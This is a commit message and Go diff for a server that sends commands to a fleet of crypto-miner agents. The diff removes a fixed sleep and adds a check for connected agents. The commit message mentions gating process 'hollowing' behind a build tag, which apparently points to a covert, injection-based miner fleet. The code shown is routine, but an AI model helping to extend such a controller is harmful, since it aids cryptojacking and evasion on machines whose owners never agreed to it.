Fix small bugs across AI tools, fleet API, and run.bat.

Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.

server/internal/api/fleet_handler.go

@@ -4,7 +4,6 @@ import (
 	"encoding/json"
 	"net/http"
 	"strconv"
-	"time"
 
 	"crypto-miner-server/internal/alerts"
 	"crypto-miner-server/internal/db"
@@ -70,7 +69,6 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
 	}
 	if r.URL.Query().Get("refresh") == "1" {
 		_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
-		time.Sleep(800 * time.Millisecond)
 	}
 	writeJSON(w, map[string]interface{}{
 		"agent_id": id,
@@ -116,6 +114,15 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
 	}
 
 	if id == "all" {
+		if f.ws.connectedAgentCount() == 0 {
+			writeJSON(w, map[string]interface{}{
+				"success":  false,
+				"error":    "no connected agents",
+				"agent_id": id,
+				"action":   req.Action,
+			})
+			return
+		}
 		f.ws.BroadcastAgentCommand(req.Action, args)
 	} else {
 		if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {